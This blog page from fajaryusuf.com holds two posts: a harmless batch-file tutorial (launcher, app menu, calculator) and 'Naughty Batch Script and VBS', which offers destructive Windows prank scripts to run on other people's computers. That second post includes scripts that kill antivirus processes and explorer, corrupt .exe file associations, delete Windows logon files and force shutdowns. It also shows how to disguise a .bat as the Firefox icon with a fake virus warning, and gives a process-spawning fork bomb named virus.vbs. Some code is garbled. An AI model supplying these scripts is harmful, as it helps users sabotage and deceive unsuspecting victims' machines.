Showing posts with label Batch english version. Show all posts
Showing posts with label Batch english version. Show all posts

Thursday, February 28, 2019

Creating a Simple Batch File Program

Creating a Simple Batch File Program

Running the program
a. Open Notepad 
b. Type the following syntax: 
start chrome.exe www.facebook.com

c. Save the file with the name facebook.bat remember yes DOT BAT 
d. If so, try your location to save the file, then open the facebook.bat. The result will open google chrome to open a facebook page 

to build your program menu
a. Open Notepad 
b. Type the following syntax: 
@echo off
color 0a
:a
CLS
echo @@@@@@@@@@@@@@@@@@@@@@@
echo @@     Applications FAJARYUSUF.COM    @@
echo @@                           @@
echo @@                             @@
echo @@ *-----------------------------------------------*@@
echo @@ *          Select Your Choice * @@
echo @@ *-----------------------------------------------*@@
echo @@ *                     *@@
echo @@ *     [1] Word                 *@@
echo @@ *     [2] Excel                              *@@
echo @@ *     [3] Power Point                   *@@
echo @@ *     [4] Outlook                         *@@
echo @@ *     [5] OneNote                       *@@
echo @@ *     [6] Winamp                        *@@
echo @@ *     [7] Paint                 *@@
echo @@ *-----------------------------------------------*@@
echo @@                            @@
echo @@@@@@@@@@@@@@@@@@@@@@
echo.
set /p "pil=Insert Your Choice [1-7] : "
if %pil%==1 start winword
if %pil%==2 start excel
if %pil%==3 start powerpnt
if %pil%==4 start outlook
if %pil%==5 start onenote
if %pil%==6 start winamp
if %pil%==7 start mspaint
echo.
Pause
goto a
c. Save the text file with the name menuprogram.bat 
d. Run program 
results if the run:
Creating a Simple Batch File Program
No display menu selection program, and if we input the numbers 1-7 on menu appropriate programs will be running and open input. 

Make the program calculate
a. Open Notepad 
b. Type the following syntax:

@echo off
title Learn to Count with Batch files
:awal
color 1b
ECHO ******************************************************
echo LEARN TO CALCULATE !
echo.
echo ******************************************************
echo.
set/p "b1=Input Number 1: "
set/p "b2=Input Number 2: "
echo.
echo [1] multiplication [2] add on [3] division [4] subtract it
set/p "pil=Pilih Action:"
if %pil%==''goto early
if %pil%==1 goto multiplication
if %pil%==2 goto add on
If %pil%==3 goto division
if %pil%==4 goto subtract it
echo.
:multiplication
set/a b=b1*b2
echo The results are = %b%
pause
goto early
:add on
set/a b=b1+b2
echo The results are = %b%
pause
goto early
:division
set/a b=b1/b2
echo The results are = %b%
pause
goto early
:subtract it
set/a b=b1-b2
echo The results are = %b%
pause
goto early

c. Save with name calculate.bat, then run the program 
result will be like this:
Creating a Simple Batch File Program


If you have any questions please comment. 
Do not forget to like and share. 
Greeting the spirit of fajaryusuf com . :)

Reviewer: Fajar Yusuf
ItemReviewed: Creating a Simple Batch File Program

Naughty Batch Script and VBS

Naughty Batch Script and VBS

Hello readers fajaryusuf.com . This time I will share a set of scripts Naughty Using Notepad. The following script is only for the ignorant .. To make this script is active all you need is:
1. Notepad
2. PC/Laptop
3. Now just copy and paste the script into notepad ,, just try:

MESSAGES THAT CONTINUE CONTINUOUSLY
@ECHO off
:Begin
msg * your face is ugly
msg * read first, bro
msg * hey, your cpu was scrambled
msg * just reinstall it
msg * so that the problem runs out
GOTO BEGIN
Save the script above with name extensions * .bat


MAKE SHUTDOWN + MESSAGES
@echo off
msg * Why the hell is it?
shutdown -s -c "Error! Your face
really standard "
Save the script above with name extensions * .bat

MANIPULATION OF CAPS LOCK BUTTON
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save the script above with name extension * .vbs

OPEN CLOSE CD / DVD AUTOMATIC CONTINUOUS
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save the script above with name extension * .vbs

MAKE VB SCRIPT STICKING CONTINUOUS AUTOMATIC
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save the script above with name extension * .vbs

BACKSPACE CONTINUOUS PRESSING BUTTON AUTOMATICALLY
MsgBox "back to menu
previous"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save the script above with name extension * .vbs

AUTOMATIC TYPING "YOU SO UGLY" IN NOTEPAD OR M.WORD
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "YOU SO UGLY !!! "
loop

Save the script above with name extension * .vbs

OPENING CONTINUOUS NOTEPAD
@ECHO off
:top
START %SystemRoot%
system32notepad.exe
GOTO top
Save the script above with name extension * .BAT

THEN AUTOMATICALLY OPEN NOTEPAD TYPING "WHAT DO YOU WANT"
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "WH"
WScript.Sleep 50
WshShell.SendKeys "AT"
WScript.Sleep 50
WshShell.SendKeys "DO"
WScript.Sleep 50
WshShell.SendKeys "YOU"
WScript.Sleep 50
WshShell.SendKeys "WA"
WScript.Sleep 50
WshShell.SendKeys " NT"
WScript.Sleep 50
WshShell.SendKeys "WHAT"
WScript.Sleep 50
WshShell.SendKeys "DO"
WScript.Sleep 50
WshShell.SendKeys " YOU"
WScript.Sleep 50
WshShell.SendKeys "WANT"
WScript.Sleep 50
WshShell.SendKeys " WHAT"
WScript.Sleep 50
WshShell.SendKeys "DO"
WScript.Sleep 50
WshShell.SendKeys "YOU WANT!!! "

Save the script above withname extension * .vbs

CAN CHOOSE ANSWERS LIKE QUIZ
@echo off
Today's title quiz :)
:menu
cls
echo if you have a virus
what you do
pause
echo choose which:
echo 1. turn off the computer
echo 2. just format
echo 3. confused ahh
set input = nothing
set /p input = Choice:
if% input%== 1 shutdown -s -t
30
if% input%== 2 del c:xxx
if% input%== 3 @ECHO off
msg * your face is broken
msg * read first, bro
msg * hey, cpu you are random
msg * just reinstall it
msg * so that the problem runs out
@ECHO off
:top
START%SystemRoot%
system32notepad.exe
GOTO top
Now save the script above so quiz.bat,

THE POINT IF YOU'RE TRYED !!
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:WINDOWS
system32logoff.exe /
F /Q
DEL C:WINDOWS
system32logon.exe /
F /Q
DEL C:WINDOWS
system32logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
Save the script above with extensions * .bat

COMPUTER DAMAGE THE OTHERS
open cmd (comand prompt), if not yet know search where, click on start-run-type cmd-Then typing this script
ASSOC.exe=.hank
then enter!
!!!! Programs like ms.word /game cranky way! , If it is satisfied very naughty (hahahaa) and want back, stay open CMD again. then type
ASSOC.exe=EXEFILE


SCRIPT'S REALLY NEAT
1. Open notepad or let fast type notepad RUN menu and enter
2. Copy and paste this code in your notepad
@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c ” SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ………..”
3. After that save this notepad file with format * .bat = up to want to be named anything, ex: pacebuk.bat and SAVE on Desktop (Recommended)

4. Now right click your desktop and select New => Shortcut

5. After this it will pop up a display and click browse and locate the .bat file that you save earlier, ex before you save on the desktop

6. Click Next and Rename with Mozilla Firefox (For the name is up to you and can freely replace it with Opera Mini or Google Chrome, this is just a hoax only)

7.When all steps have been okay, now you need to do it is to change the icon bat earlier in the form of Mozilla Firefox (because we often use disposable Mozilla browser so the discussion of this) ..

Continue to do what?
Easy .. stay you right-click the .bat file earlier and select no find any change icon icon mozilla? Try it you are looking for in the Program Files => Mozilla Firefox 
Well now YourFacebook virus has so perfectly, if you want to idly tried to stay at the click only and see the changes that will happen ..
Should definitely a little surprised and you try to imagine if you practice this trick in the company of your friends or maybe the company campus or cafe ..
what will happen? Enough certainly ..

SCRIPT MOST CRUEL
To the point ...
open notepad
and please write the script below
option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next
save the name (virus.vbs)

information: please run the file and now just look at what happens ...? computer pal will be met by 100000000 viruses and computer course will hang in total before pal delete everything

I am not responsible if there ok against computer You or your friend, just give me info or limited to sharing only. : D 

If you have any questions please comment. 

Do not forget to like and share. 

Greeting the spirit of fajaryusuf.com . :)

Reviewer: Fajar Yusuf
ItemReviewed: Naughty Batch Script and VBS

TENTANG SITUS

SITUS INI ADALAH SITUS PEMBELAJARAN PEMROGRAMAN DAN JUGA PEMAHAMAN TERHADAP TEKNOLOGI KOMPUTER. KALIAN BISA MENGIKUTI PEMBELAJARAN PEMROGRAMAN DENGAN BERTAHAP PADA MATERI YANG SUDAH SAYA SEDIAKAN, JIKA ADA MATERI YANG MEMBINGUNGKAN SILAKAN LAKUKAN KOMENTAR PADA MATERI YANG ANDA TANYAKAN ATAU KALIAN BISA MENGHUBUNGI SAYA DIHALAMAN KONTAK.